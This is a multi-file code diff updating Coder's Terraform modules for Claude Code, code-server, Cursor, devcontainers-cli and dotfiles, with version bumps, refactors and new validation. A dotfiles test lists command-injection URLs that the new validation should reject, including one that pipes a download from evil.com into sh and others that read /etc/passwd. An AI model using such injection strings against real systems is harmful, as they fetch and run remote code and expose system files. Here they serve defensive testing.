model = "global.anthropic.claude-sonnet-4-5-20250929-v1:0"
|
||||
@@ -286,7 +298,7 @@ module "claude-code" {
|
||||
|
||||
#### Prerequisites
|
||||
|
||||
GCP project with Vertex AI API enabled, Claude models enabled through Model Garden, service account with Vertex AI permissions, appropriate IAM permissions (Vertex AI User role).
|
||||
GCP project with Vertex AI API enabled, Claude models enabled through Model Garden, service account with Vertex AI permissions, and appropriate IAM permissions (Vertex AI User role).
|
||||
|
||||
Configure Claude Code to use Google Vertex AI for accessing Claude models through Google Cloud Platform.
|
||||
|
||||
@@ -329,7 +341,7 @@ resource "coder_env" "google_application_credentials" {
|
||||
|
||||
module "claude-code" {
|
||||
source = "registry.coder.com/coder/claude-code/coder"
|
||||
version = "4.7.1"
|
||||
version = "4.8.0"
|
||||
agent_id = coder_agent.main.id
|
||||
workdir = "/home/coder/project"
|
||||
model = "claude-sonnet-4@20250514"
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
terraform {
|
||||
required_version = ">= 1.0"
|
||||
required_version = ">= 1.9"
|
||||
|
||||
required_providers {
|
||||
coder = {
|
||||
@@ -67,7 +67,7 @@ variable "cli_app_display_name" {
|
||||
|
||||
variable "pre_install_script" {
|
||||
type = string
|
||||
description = "Custom script to run before installing Claude Code."
|
||||
description = "Custom script to run before installing Claude Code. Can be used for dependency ordering between modules (e.g., waiting for git-clone to complete before Claude Code initialization)."
|
||||
default = null
|
||||
}
|
||||
|
||||
@@ -208,6 +208,11 @@ variable "claude_binary_path" {
|
||||
type = string
|
||||
description = "Directory where the Claude Code binary is located. Use this if Claude is pre-installed or installed outside the module to a non-default location."
|
||||
default = "$HOME/.local/bin"
|
||||
|
||||
validation {
|
||||
condition = var.claude_binary_path == "$HOME/.local/bin" || !var.install_claude_code
|
||||
error_message = "Custom claude_binary_path can only be used when install_claude_code is false. The official installer always installs to $HOME/.local/bin and does not support custom paths."
|
||||
}
|
||||
}
|
||||
|
||||
variable "install_via_npm" {
|
||||
@@ -256,6 +261,12 @@ variable "enable_aibridge" {
|
||||
}
|
||||
}
|
||||
|
||||
variable "enable_state_persistence" {
|
||||
type = bool
|
||||
description = "Enable AgentAPI conversation state persistence across restarts."
|
||||
default = true
|
||||
}
|
||||
|
||||
resource "coder_env" "claude_code_md_path" {
|
||||
count = var.claude_md_path == "" ? 0 : 1
|
||||
agent_id = var.agent_id
|
||||
@@ -276,9 +287,11 @@ resource "coder_env" "claude_code_oauth_token" {
|
||||
}
|
||||
|
||||
resource "coder_env" "claude_api_key" {
|
||||
count = local.claude_api_key != "" ? 1 : 0
|
||||
|
||||
agent_id = var.agent_id
|
||||
name = "CLAUDE_API_KEY"
|
||||
value = var.enable_aibridge ? data.coder_workspace_owner.me.session_token : var.claude_api_key
|
||||
value = local.claude_api_key
|
||||
}
|
||||
|
||||
resource "coder_env" "disable_autoupdater" {
|
||||
@@ -288,18 +301,6 @@ resource "coder_env" "disable_autoupdater" {
|
||||
value = "1"
|
||||
}
|
||||
|
||||
resource "coder_env" "claude_binary_path" {
|
||||
agent_id = var.agent_id
|
||||
name = "PATH"
|
||||
value = "${var.claude_binary_path}:$PATH"
|
||||
|
||||
lifecycle {
|
||||
precondition {
|
||||
condition = var.claude_binary_path == "$HOME/.local/bin" || !var.install_claude_code
|
||||
error_message = "Custom claude_binary_path can only be used when install_claude_code is false. The official installer and npm both install to fixed locations."
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
resource "coder_env" "anthropic_model" {
|
||||
count = var.model != "" ? 1 : 0
|
||||
@@ -324,7 +325,8 @@ locals {
|
||||
start_script = file("${path.module}/scripts/start.sh")
|
||||
module_dir_name = ".claude-module"
|
||||
# Extract hostname from access_url for boundary --allow flag
|
||||
coder_host = replace(replace(data.coder_workspace.me.access_url, "https://", ""), "http://", "")
|
||||
coder_host = replace(replace(data.coder_workspace.me.access_url, "https://", ""), "http://", "")
|
||||
claude_api_key = var.enable_aibridge ? data.coder_workspace_owner.me.session_token : var.claude_api_key
|
||||
|
||||
# Required prompts for the module to properly report task status to Coder
|
||||
report_tasks_system_prompt = <<-EOT
|
||||
@@ -360,45 +362,47 @@ locals {
|
||||
|
||||
module "agentapi" {
|
||||
source = "registry.coder.com/coder/agentapi/coder"
|
||||
version = "2.0.0"
|
||||
version = "2.2.0"
|
||||
|
||||
agent_id = var.agent_id
|
||||
web_app_slug = local.app_slug
|
||||
web_app_order = var.order
|
||||
web_app_group = var.group
|
||||
web_app_icon = var.icon
|
||||
web_app_display_name = var.web_app_display_name
|
||||
folder = local.workdir
|
||||
cli_app = var.cli_app
|
||||
cli_app_slug = var.cli_app ? "${local.app_slug}-cli" : null
|
||||
cli_app_display_name = var.cli_app ? var.cli_app_display_name : null
|
||||
agentapi_subdomain = var.subdomain
|
||||
module_dir_name = local.module_dir_name
|
||||
install_agentapi = var.install_agentapi
|
||||
agentapi_version = var.agentapi_version
|
||||
pre_install_script = var.pre_install_script
|
||||
post_install_script = var.post_install_script
|
||||
start_script = <<-EOT
|
||||
#!/bin/bash
|
||||
set -o errexit
|
||||
set -o pipefail
|
||||
echo -n '${base64encode(local.start_script)}' | base64 -d > /tmp/start.sh
|
||||
chmod +x /tmp/start.sh
|
||||
agent_id = var.agent_id
|
||||
web_app_slug = local.app_slug
|
||||
web_app_order = var.order
|
||||
web_app_group = var.group
|
||||
web_app_icon = var.icon
|
||||
web_app_display_name = var.web_app_display_name
|
||||
folder = local.workdir
|
||||
cli_app = var.cli_app
|
||||
cli_app_slug = var.cli_app ? "${local.app_slug}-cli" : null
|
||||
cli_app_display_name = var.cli_app ? var.cli_app_display_name : null
|
||||
agentapi_subdomain = var.subdomain
|
||||
module_dir_name = local.module_dir_name
|
||||
install_agentapi = var.install_agentapi
|
||||
agentapi_version = var.agentapi_version
|
||||
enable_state_persistence = var.enable_state_persistence
|
||||
pre_install_script = var.pre_install_script
|
||||
post_install_script = var.post_install_script
|
||||
start_script = <<-EOT
|
||||
#!/bin/bash
|
||||
set -o errexit
|
||||
set -o pipefail
|
||||
echo -n '${base64encode(local.start_script)}' | base64 -d > /tmp/start.sh
|
||||
chmod +x /tmp/start.sh
|
||||
|
||||
ARG_RESUME_SESSION_ID='${var.resume_session_id}' \
|
||||
ARG_CONTINUE='${var.continue}' \
|
||||
ARG_DANGEROUSLY_SKIP_PERMISSIONS='${var.dangerously_skip_permissions}' \
|
||||
ARG_PERMISSION_MODE='${var.permission_mode}' \
|
||||
ARG_WORKDIR='${local.workdir}' \
|
||||
ARG_AI_PROMPT='${base64encode(var.ai_prompt)}' \
|
||||
ARG_REPORT_TASKS='${var.report_tasks}' \
|
||||
ARG_ENABLE_BOUNDARY='${var.enable_boundary}' \
|
||||
ARG_BOUNDARY_VERSION='${var.boundary_version}' \
|
||||
ARG_COMPILE_FROM_SOURCE='${var.compile_boundary_from_source}' \
|
||||
ARG_USE_BOUNDARY_DIRECTLY='${var.use_boundary_directly}' \
|
||||
ARG_CODER_HOST='${local.coder_host}' \
|
||||
/tmp/start.sh
|
||||
EOT
|
||||
ARG_RESUME_SESSION_ID='${var.resume_session_id}' \
|
||||
ARG_CONTINUE='${var.continue}' \
|
||||
ARG_DANGEROUSLY_SKIP_PERMISSIONS='${var.dangerously_skip_permissions}' \
|
||||
ARG_PERMISSION_MODE='${var.permission_mode}' \
|
||||
ARG_WORKDIR='${local.workdir}' \
|
||||
ARG_AI_PROMPT='${base64encode(var.ai_prompt)}' \
|
||||
ARG_REPORT_TASKS='${var.report_tasks}' \
|
||||
ARG_ENABLE_BOUNDARY='${var.enable_boundary}' \
|
||||
ARG_BOUNDARY_VERSION='${var.boundary_version}' \
|
||||
ARG_COMPILE_FROM_SOURCE='${var.compile_boundary_from_source}' \
|
||||
ARG_USE_BOUNDARY_DIRECTLY='${var.use_boundary_directly}' \
|
||||
ARG_CODER_HOST='${local.coder_host}' \
|
||||
ARG_CLAUDE_BINARY_PATH='${var.claude_binary_path}' \
|
||||
/tmp/start.sh
|
||||
EOT
|
||||
|
||||
install_script = <<-EOT
|
||||
#!/bin/bash
|
||||
|
||||
@@ -42,7 +42,7 @@ run "test_claude_code_with_api_key" {
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = coder_env.claude_api_key.value == "test-api-key-123"
|
||||
condition = coder_env.claude_api_key[0].value == "test-api-key-123"
|
||||
error_message = "Claude API key value should match the input"
|
||||
}
|
||||
}
|
||||
@@ -298,6 +298,13 @@ run "test_aibridge_enabled" {
|
||||
enable_aibridge = true
|
||||
}
|
||||
|
||||
override_data {
|
||||
target = data.coder_workspace_owner.me
|
||||
values = {
|
||||
session_token = "mock-session-token"
|
||||
}
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = var.enable_aibridge == true
|
||||
error_message = "AI Bridge should be enabled"
|
||||
@@ -314,12 +321,12 @@ run "test_aibridge_enabled" {
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = coder_env.claude_api_key.name == "CLAUDE_API_KEY"
|
||||
condition = coder_env.claude_api_key[0].name == "CLAUDE_API_KEY"
|
||||
error_message = "CLAUDE_API_KEY environment variable should be set"
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = coder_env.claude_api_key.value == data.coder_workspace_owner.me.session_token
|
||||
condition = coder_env.claude_api_key[0].value == data.coder_workspace_owner.me.session_token
|
||||
error_message = "CLAUDE_API_KEY should use workspace owner's session token when aibridge is enabled"
|
||||
}
|
||||
}
|
||||
@@ -370,7 +377,7 @@ run "test_aibridge_disabled_with_api_key" {
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = coder_env.claude_api_key.value == "test-api-key-xyz"
|
||||
condition = coder_env.claude_api_key[0].value == "test-api-key-xyz"
|
||||
error_message = "CLAUDE_API_KEY should use the provided API key when aibridge is disabled"
|
||||
}
|
||||
|
||||
@@ -379,3 +386,48 @@ run "test_aibridge_disabled_with_api_key" {
|
||||
error_message = "ANTHROPIC_BASE_URL should not be set when aibridge is disabled"
|
||||
}
|
||||
}
|
||||
|
||||
run "test_enable_state_persistence_default" {
|
||||
command = plan
|
||||
|
||||
variables {
|
||||
agent_id = "test-agent"
|
||||
workdir = "/home/coder"
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = var.enable_state_persistence == true
|
||||
error_message = "enable_state_persistence should default to true"
|
||||
}
|
||||
}
|
||||
|
||||
run "test_disable_state_persistence" {
|
||||
command = plan
|
||||
|
||||
variables {
|
||||
agent_id = "test-agent"
|
||||
workdir = "/home/coder"
|
||||
enable_state_persistence = false
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = var.enable_state_persistence == false
|
||||
error_message = "enable_state_persistence should be false when explicitly disabled"
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
run "test_no_api_key_no_env" {
|
||||
command = plan
|
||||
|
||||
variables {
|
||||
agent_id = "test-agent-no-key"
|
||||
workdir = "/home/coder/test"
|
||||
enable_aibridge = false
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = length(coder_env.claude_api_key) == 0
|
||||
error_message = "CLAUDE_API_KEY should not be created when no API key is provided and aibridge is disabled"
|
||||
}
|
||||
}
|
||||
|
||||
@@ -12,6 +12,8 @@ ARG_CLAUDE_CODE_VERSION=${ARG_CLAUDE_CODE_VERSION:-}
|
||||
ARG_WORKDIR=${ARG_WORKDIR:-"$HOME"}
|
||||
ARG_INSTALL_CLAUDE_CODE=${ARG_INSTALL_CLAUDE_CODE:-}
|
||||
ARG_CLAUDE_BINARY_PATH=${ARG_CLAUDE_BINARY_PATH:-"$HOME/.local/bin"}
|
||||
ARG_CLAUDE_BINARY_PATH="${ARG_CLAUDE_BINARY_PATH/#\~/$HOME}"
|
||||
ARG_CLAUDE_BINARY_PATH="${ARG_CLAUDE_BINARY_PATH//\$HOME/$HOME}"
|
||||
ARG_INSTALL_VIA_NPM=${ARG_INSTALL_VIA_NPM:-false}
|
||||
ARG_REPORT_TASKS=${ARG_REPORT_TASKS:-true}
|
||||
ARG_MCP_APP_STATUS_SLUG=${ARG_MCP_APP_STATUS_SLUG:-}
|
||||
@@ -21,6 +23,8 @@ ARG_ALLOWED_TOOLS=${ARG_ALLOWED_TOOLS:-}
|
||||
ARG_DISALLOWED_TOOLS=${ARG_DISALLOWED_TOOLS:-}
|
||||
ARG_ENABLE_AIBRIDGE=${ARG_ENABLE_AIBRIDGE:-false}
|
||||
|
||||
export PATH="$ARG_CLAUDE_BINARY_PATH:$PATH"
|
||||
|
||||
echo "--------------------------------"
|
||||
|
||||
printf "ARG_CLAUDE_CODE_VERSION: %s\n" "$ARG_CLAUDE_CODE_VERSION"
|
||||
@@ -51,39 +55,51 @@ function add_mcp_servers() {
|
||||
done < <(echo "$mcp_json" | jq -r '.mcpServers | to_entries[] | .key, (.value | @json)')
|
||||
}
|
||||
|
||||
function add_path_to_shell_profiles() {
|
||||
local path_dir="$1"
|
||||
|
||||
for profile in "$HOME/.profile" "$HOME/.bash_profile" "$HOME/.bashrc" "$HOME/.zprofile" "$HOME/.zshrc"; do
|
||||
if [ -f "$profile" ]; then
|
||||
if ! grep -q "$path_dir" "$profile" 2> /dev/null; then
|
||||
echo "export PATH=\"\$PATH:$path_dir\"" >> "$profile"
|
||||
echo "Added $path_dir to $profile"
|
||||
fi
|
||||
fi
|
||||
done
|
||||
|
||||
local fish_config="$HOME/.config/fish/config.fish"
|
||||
if [ -f "$fish_config" ]; then
|
||||
if ! grep -q "$path_dir" "$fish_config" 2> /dev/null; then
|
||||
echo "fish_add_path $path_dir" >> "$fish_config"
|
||||
echo "Added $path_dir to $fish_config"
|
||||
fi
|
||||
fi
|
||||
}
|
||||
|
||||
function ensure_claude_in_path() {
|
||||
if [ -z "${CODER_SCRIPT_BIN_DIR:-}" ]; then
|
||||
echo "CODER_SCRIPT_BIN_DIR not set, skipping PATH setup"
|
||||
local CLAUDE_BIN=""
|
||||
if command -v claude > /dev/null 2>&1; then
|
||||
CLAUDE_BIN=$(command -v claude)
|
||||
elif [ -x "$ARG_CLAUDE_BINARY_PATH/claude" ]; then
|
||||
CLAUDE_BIN="$ARG_CLAUDE_BINARY_PATH/claude"
|
||||
elif [ -x "$HOME/.local/bin/claude" ]; then
|
||||
CLAUDE_BIN="$HOME/.local/bin/claude"
|
||||
fi
|
||||
|
||||
if [ -z "$CLAUDE_BIN" ] || [ ! -x "$CLAUDE_BIN" ]; then
|
||||
echo "Warning: Could not find claude binary"
|
||||
return
|
||||
fi
|
||||
|
||||
if [ ! -e "$CODER_SCRIPT_BIN_DIR/claude" ]; then
|
||||
local CLAUDE_BIN=""
|
||||
if command -v claude > /dev/null 2>&1; then
|
||||
CLAUDE_BIN=$(command -v claude)
|
||||
elif [ -x "$ARG_CLAUDE_BINARY_PATH/claude" ]; then
|
||||
CLAUDE_BIN="$ARG_CLAUDE_BINARY_PATH/claude"
|
||||
elif [ -x "$HOME/.local/bin/claude" ]; then
|
||||
CLAUDE_BIN="$HOME/.local/bin/claude"
|
||||
fi
|
||||
local CLAUDE_DIR
|
||||
CLAUDE_DIR=$(dirname "$CLAUDE_BIN")
|
||||
|
||||
if [ -n "$CLAUDE_BIN" ] && [ -x "$CLAUDE_BIN" ]; then
|
||||
ln -s "$CLAUDE_BIN" "$CODER_SCRIPT_BIN_DIR/claude"
|
||||
echo "Created symlink: $CODER_SCRIPT_BIN_DIR/claude -> $CLAUDE_BIN"
|
||||
else
|
||||
echo "Warning: Could not find claude binary to symlink"
|
||||
fi
|
||||
else
|
||||
echo "Claude already available in CODER_SCRIPT_BIN_DIR"
|
||||
if [ -n "${CODER_SCRIPT_BIN_DIR:-}" ] && [ ! -e "$CODER_SCRIPT_BIN_DIR/claude" ]; then
|
||||
ln -s "$CLAUDE_BIN" "$CODER_SCRIPT_BIN_DIR/claude"
|
||||
echo "Created symlink: $CODER_SCRIPT_BIN_DIR/claude -> $CLAUDE_BIN"
|
||||
fi
|
||||
|
||||
local marker="# Added by claude-code module"
|
||||
for profile in "$HOME/.bashrc" "$HOME/.zshrc" "$HOME/.profile"; do
|
||||
if [ -f "$profile" ] && ! grep -q "$marker" "$profile" 2> /dev/null; then
|
||||
printf "\n%s\nexport PATH=\"%s:\$PATH\"\n" "$marker" "$CODER_SCRIPT_BIN_DIR" >> "$profile"
|
||||
echo "Added $CODER_SCRIPT_BIN_DIR to PATH in $profile"
|
||||
fi
|
||||
done
|
||||
add_path_to_shell_profiles "$CLAUDE_DIR"
|
||||
}
|
||||
|
||||
function install_claude_code_cli() {
|
||||
|
||||
@@ -2,6 +2,12 @@
|
||||
|
||||
set -euo pipefail
|
||||
|
||||
ARG_CLAUDE_BINARY_PATH=${ARG_CLAUDE_BINARY_PATH:-"$HOME/.local/bin"}
|
||||
ARG_CLAUDE_BINARY_PATH="${ARG_CLAUDE_BINARY_PATH/#\~/$HOME}"
|
||||
ARG_CLAUDE_BINARY_PATH="${ARG_CLAUDE_BINARY_PATH//\$HOME/$HOME}"
|
||||
|
||||
export PATH="$ARG_CLAUDE_BINARY_PATH:$PATH"
|
||||
|
||||
command_exists() {
|
||||
command -v "$1" > /dev/null 2>&1
|
||||
}
|
||||
|
||||
@@ -14,7 +14,7 @@ Automatically install [code-server](https://github.com/coder/code-server) in a w
|
||||
module "code-server" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
source = "registry.coder.com/coder/code-server/coder"
|
||||
version = "1.4.2"
|
||||
version = "1.4.3"
|
||||
agent_id = coder_agent.example.id
|
||||
}
|
||||
```
|
||||
@@ -29,7 +29,7 @@ module "code-server" {
|
||||
module "code-server" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
source = "registry.coder.com/coder/code-server/coder"
|
||||
version = "1.4.2"
|
||||
version = "1.4.3"
|
||||
agent_id = coder_agent.example.id
|
||||
install_version = "4.106.3"
|
||||
}
|
||||
@@ -43,7 +43,7 @@ Install the Dracula theme from [OpenVSX](https://open-vsx.org/):
|
||||
module "code-server" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
source = "registry.coder.com/coder/code-server/coder"
|
||||
version = "1.4.2"
|
||||
version = "1.4.3"
|
||||
agent_id = coder_agent.example.id
|
||||
extensions = [
|
||||
"dracula-theme.theme-dracula"
|
||||
@@ -61,7 +61,7 @@ Configure VS Code's [settings.json](https://code.visualstudio.com/docs/getstarte
|
||||
module "code-server" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
source = "registry.coder.com/coder/code-server/coder"
|
||||
version = "1.4.2"
|
||||
version = "1.4.3"
|
||||
agent_id = coder_agent.example.id
|
||||
extensions = ["dracula-theme.theme-dracula"]
|
||||
settings = {
|
||||
@@ -78,7 +78,7 @@ Just run code-server in the background, don't fetch it from GitHub:
|
||||
module "code-server" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
source = "registry.coder.com/coder/code-server/coder"
|
||||
version = "1.4.2"
|
||||
version = "1.4.3"
|
||||
agent_id = coder_agent.example.id
|
||||
extensions = ["dracula-theme.theme-dracula", "ms-azuretools.vscode-docker"]
|
||||
}
|
||||
@@ -92,7 +92,7 @@ You can pass additional command-line arguments to code-server using the `additio
|
||||
module "code-server" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
source = "registry.coder.com/coder/code-server/coder"
|
||||
version = "1.4.2"
|
||||
version = "1.4.3"
|
||||
agent_id = coder_agent.example.id
|
||||
additional_args = "--disable-workspace-trust"
|
||||
}
|
||||
@@ -108,7 +108,7 @@ Run an existing copy of code-server if found, otherwise download from GitHub:
|
||||
module "code-server" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
source = "registry.coder.com/coder/code-server/coder"
|
||||
version = "1.4.2"
|
||||
version = "1.4.3"
|
||||
agent_id = coder_agent.example.id
|
||||
use_cached = true
|
||||
extensions = ["dracula-theme.theme-dracula", "ms-azuretools.vscode-docker"]
|
||||
@@ -121,7 +121,7 @@ Just run code-server in the background, don't fetch it from GitHub:
|
||||
module "code-server" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
source = "registry.coder.com/coder/code-server/coder"
|
||||
version = "1.4.2"
|
||||
version = "1.4.3"
|
||||
agent_id = coder_agent.example.id
|
||||
offline = true
|
||||
}
|
||||
|
||||
@@ -44,7 +44,7 @@ variable "settings" {
|
||||
default = {}
|
||||
}
|
||||
|
||||
variable "machine-settings" {
|
||||
variable "machine_settings" {
|
||||
type = any
|
||||
description = "A map of template level machine settings to apply to code-server. This will be overwritten at each container start."
|
||||
default = {}
|
||||
@@ -167,7 +167,7 @@ resource "coder_script" "code-server" {
|
||||
INSTALL_PREFIX : var.install_prefix,
|
||||
// This is necessary otherwise the quotes are stripped!
|
||||
SETTINGS : replace(jsonencode(var.settings), "\"", "\\\""),
|
||||
MACHINE_SETTINGS : replace(jsonencode(var.machine-settings), "\"", "\\\""),
|
||||
MACHINE_SETTINGS : replace(jsonencode(var.machine_settings), "\"", "\\\""),
|
||||
OFFLINE : var.offline,
|
||||
USE_CACHED : var.use_cached,
|
||||
USE_CACHED_EXTENSIONS : var.use_cached_extensions,
|
||||
|
||||
@@ -16,7 +16,7 @@ Uses the [Coder Remote VS Code Extension](https://github.com/coder/vscode-coder)
|
||||
module "cursor" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
source = "registry.coder.com/coder/cursor/coder"
|
||||
version = "1.4.0"
|
||||
version = "1.4.1"
|
||||
agent_id = coder_agent.main.id
|
||||
}
|
||||
```
|
||||
@@ -29,7 +29,7 @@ module "cursor" {
|
||||
module "cursor" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
source = "registry.coder.com/coder/cursor/coder"
|
||||
version = "1.4.0"
|
||||
version = "1.4.1"
|
||||
agent_id = coder_agent.main.id
|
||||
folder = "/home/coder/project"
|
||||
}
|
||||
@@ -45,7 +45,7 @@ The following example configures Cursor to use the GitHub MCP server with authen
|
||||
module "cursor" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
source = "registry.coder.com/coder/cursor/coder"
|
||||
version = "1.4.0"
|
||||
version = "1.4.1"
|
||||
agent_id = coder_agent.main.id
|
||||
folder = "/home/coder/project"
|
||||
mcp = jsonencode({
|
||||
|
||||
@@ -66,7 +66,7 @@ locals {
|
||||
|
||||
module "vscode-desktop-core" {
|
||||
source = "registry.coder.com/coder/vscode-desktop-core/coder"
|
||||
version = "1.0.0"
|
||||
version = "1.0.2"
|
||||
|
||||
agent_id = var.agent_id
|
||||
|
||||
|
||||
@@ -14,8 +14,9 @@ The devcontainers-cli module provides an easy way to install [`@devcontainers/cl
|
||||
|
||||
```tf
|
||||
module "devcontainers-cli" {
|
||||
source = "registry.coder.com/coder/devcontainers-cli/coder"
|
||||
version = "1.0.34"
|
||||
agent_id = coder_agent.example.id
|
||||
source = "registry.coder.com/coder/devcontainers-cli/coder"
|
||||
version = "1.1.0"
|
||||
agent_id = coder_agent.example.id
|
||||
start_blocks_login = false
|
||||
}
|
||||
```
|
||||
|
||||
@@ -14,10 +14,17 @@ variable "agent_id" {
|
||||
description = "The ID of a Coder agent."
|
||||
}
|
||||
|
||||
resource "coder_script" "devcontainers-cli" {
|
||||
agent_id = var.agent_id
|
||||
display_name = "devcontainers-cli"
|
||||
icon = "/icon/devcontainers.svg"
|
||||
script = templatefile("${path.module}/run.sh", {})
|
||||
run_on_start = true
|
||||
variable "start_blocks_login" {
|
||||
type = bool
|
||||
default = false
|
||||
description = "Boolean, This option determines whether users can log in immediately or must wait for the workspace to finish running this script upon startup."
|
||||
}
|
||||
|
||||
resource "coder_script" "devcontainers-cli" {
|
||||
agent_id = var.agent_id
|
||||
display_name = "devcontainers-cli"
|
||||
icon = "/icon/devcontainers.svg"
|
||||
script = templatefile("${path.module}/run.sh", {})
|
||||
run_on_start = true
|
||||
start_blocks_login = var.start_blocks_login
|
||||
}
|
||||
|
||||
@@ -18,7 +18,7 @@ Under the hood, this module uses the [coder dotfiles](https://coder.com/docs/v2/
|
||||
module "dotfiles" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
source = "registry.coder.com/coder/dotfiles/coder"
|
||||
version = "1.2.3"
|
||||
version = "1.3.2"
|
||||
agent_id = coder_agent.example.id
|
||||
}
|
||||
```
|
||||
@@ -31,7 +31,7 @@ module "dotfiles" {
|
||||
module "dotfiles" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
source = "registry.coder.com/coder/dotfiles/coder"
|
||||
version = "1.2.3"
|
||||
version = "1.3.2"
|
||||
agent_id = coder_agent.example.id
|
||||
}
|
||||
```
|
||||
@@ -42,7 +42,7 @@ module "dotfiles" {
|
||||
module "dotfiles" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
source = "registry.coder.com/coder/dotfiles/coder"
|
||||
version = "1.2.3"
|
||||
version = "1.3.2"
|
||||
agent_id = coder_agent.example.id
|
||||
user = "root"
|
||||
}
|
||||
@@ -54,20 +54,34 @@ module "dotfiles" {
|
||||
module "dotfiles" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
source = "registry.coder.com/coder/dotfiles/coder"
|
||||
version = "1.2.3"
|
||||
version = "1.3.2"
|
||||
agent_id = coder_agent.example.id
|
||||
}
|
||||
|
||||
module "dotfiles-root" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
source = "registry.coder.com/coder/dotfiles/coder"
|
||||
version = "1.2.3"
|
||||
version = "1.3.2"
|
||||
agent_id = coder_agent.example.id
|
||||
user = "root"
|
||||
dotfiles_uri = module.dotfiles.dotfiles_uri
|
||||
}
|
||||
```
|
||||
|
||||
## SSH vs HTTPS URLs
|
||||
|
||||
If your Git provider (e.g. GitLab, GitHub Enterprise) restricts HTTPS cloning, use an SSH URL instead:
|
||||
|
||||
```text
|
||||
# HTTPS (may fail if HTTP cloning is disabled)
|
||||
https://gitlab.example.com/user/dotfiles.git
|
||||
|
||||
# SSH (uses the workspace's SSH key)
|
||||
git@gitlab.example.com:user/dotfiles.git
|
||||
```
|
||||
|
||||
When a Git provider has HTTPS cloning disabled server-side, the clone will silently fail (the `.git` folder may exist but the working tree will be empty). SSH URLs avoid this because they authenticate with the workspace's SSH key instead of a token-based HTTPS flow.
|
||||
|
||||
## Setting a default dotfiles repository
|
||||
|
||||
You can set a default dotfiles repository for all users by setting the `default_dotfiles_uri` variable:
|
||||
@@ -76,7 +90,7 @@ You can set a default dotfiles repository for all users by setting the `default_
|
||||
module "dotfiles" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
source = "registry.coder.com/coder/dotfiles/coder"
|
||||
version = "1.2.3"
|
||||
version = "1.3.2"
|
||||
agent_id = coder_agent.example.id
|
||||
default_dotfiles_uri = "https://github.com/coder/dotfiles"
|
||||
}
|
||||
|
||||
@@ -12,20 +12,48 @@ describe("dotfiles", async () => {
|
||||
agent_id: "foo",
|
||||
});
|
||||
|
||||
it("default output", async () => {
|
||||
it("default output is empty string", async () => {
|
||||
const state = await runTerraformApply(import.meta.dir, {
|
||||
agent_id: "foo",
|
||||
});
|
||||
expect(state.outputs.dotfiles_uri.value).toBe("");
|
||||
});
|
||||
|
||||
it("set a default dotfiles_uri", async () => {
|
||||
const default_dotfiles_uri = "foo";
|
||||
const state = await runTerraformApply(import.meta.dir, {
|
||||
agent_id: "foo",
|
||||
default_dotfiles_uri,
|
||||
});
|
||||
expect(state.outputs.dotfiles_uri.value).toBe(default_dotfiles_uri);
|
||||
it("accepts valid git URL formats", async () => {
|
||||
const validUrls = [
|
||||
"https://github.com/coder/dotfiles",
|
||||
"https://github.com/coder/dotfiles.git",
|
||||
"git@github.com:coder/dotfiles.git",
|
||||
"git://github.com/coder/dotfiles.git",
|
||||
"ssh://git@github.com/coder/dotfiles.git",
|
||||
"ssh://git@bitbucket.example.org:7999/~myusername/dotfiles.git",
|
||||
];
|
||||
for (const url of validUrls) {
|
||||
const state = await runTerraformApply(import.meta.dir, {
|
||||
agent_id: "foo",
|
||||
dotfiles_uri: url,
|
||||
});
|
||||
expect(state.outputs.dotfiles_uri.value).toBe(url);
|
||||
}
|
||||
});
|
||||
|
||||
it("rejects invalid or malicious URLs", async () => {
|
||||
const invalidUrls = [
|
||||
"https://github.com/user/repo; curl http://evil.com | sh",
|
||||
"https://github.com/$(whoami)/repo",
|
||||
"https://github.com/`id`/repo",
|
||||
"https://github.com/user/repo|cat /etc/passwd",
|
||||
"file:///etc/passwd",
|
||||
"not-a-valid-url",
|
||||
];
|
||||
for (const url of invalidUrls) {
|
||||
await expect(
|
||||
runTerraformApply(import.meta.dir, {
|
||||
agent_id: "foo",
|
||||
dotfiles_uri: url,
|
||||
}),
|
||||
).rejects.toThrow();
|
||||
}
|
||||
});
|
||||
|
||||
it("set custom order for coder_parameter", async () => {
|
||||
|
||||
@@ -29,26 +29,47 @@ variable "agent_id" {
|
||||
variable "description" {
|
||||
type = string
|
||||
description = "A custom description for the dotfiles parameter. This is shown in the UI - and allows you to customize the instructions you give to your users."
|
||||
default = "Enter a URL for a [dotfiles repository](https://dotfiles.github.io) to personalize your workspace"
|
||||
default = "Enter a URL for a [dotfiles repository](https://dotfiles.github.io) to personalize your workspace. Use an SSH URL (e.g. `git@host:user/repo`) if your Git provider restricts HTTPS cloning."
|
||||
}
|
||||
|
||||
variable "default_dotfiles_uri" {
|
||||
type = string
|
||||
description = "The default dotfiles URI if the workspace user does not provide one"
|
||||
default = ""
|
||||
|
||||
validation {
|
||||
condition = (
|
||||
var.default_dotfiles_uri == "" ||
|
||||
can(regex("^(https?://|ssh://|git@|git://)[a-zA-Z0-9._/:@~-]+$", var.default_dotfiles_uri))
|
||||
)
|
||||
error_message = "Must be a valid dotfiles repository URL (https, git@, or git://) without special characters."
|
||||
}
|
||||
}
|
||||
|
||||
variable "dotfiles_uri" {
|
||||
type = string
|
||||
description = "The URL to a dotfiles repository. (optional, when set, the user isn't prompted for their dotfiles)"
|
||||
default = null
|
||||
|
